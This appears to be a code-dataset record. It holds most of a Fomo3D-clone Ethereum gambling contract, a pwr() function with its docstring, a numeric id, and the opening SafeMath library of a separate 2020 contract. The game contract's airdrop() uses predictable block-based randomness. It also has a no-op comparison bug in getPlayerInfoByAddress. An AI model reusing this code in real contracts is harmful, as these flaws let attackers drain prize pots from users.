{ // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit HXevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, HXdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit HXevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(HXdatasets.EventReturns memory _eventData_) private returns (HXdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, HXdatasets.EventReturns memory _eventData_) private returns (HXdatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(HXdatasets.EventReturns memory _eventData_) private returns (HXdatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot.mul(2) / 100); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards community_addr.transfer(_com); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) token_community_addr.transfer(_p3d); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_) private returns(HXdatasets.EventReturns) { // pay 2% out to community rewards uint256 _com = _eth / 50; uint256 _p3d; _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { token_community_addr.transfer(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit HXevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } community_addr.transfer(_com); return(_eventData_); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, HXdatasets.EventReturns memory _eventData_) private returns(HXdatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 2% into airdrop pot uint256 _air = (_eth / 50); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(24)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, HXdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit HXevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require( msg.sender == developer_addr, "only community can activate" ); // can only be ran once require(activated_ == false, "shuoha already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library HXdatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 P3DAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library HXKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
x to the power of y/
function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } }
88,597
/** *Submitted for verification at Etherscan.io on 2020-09-11 */ pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ 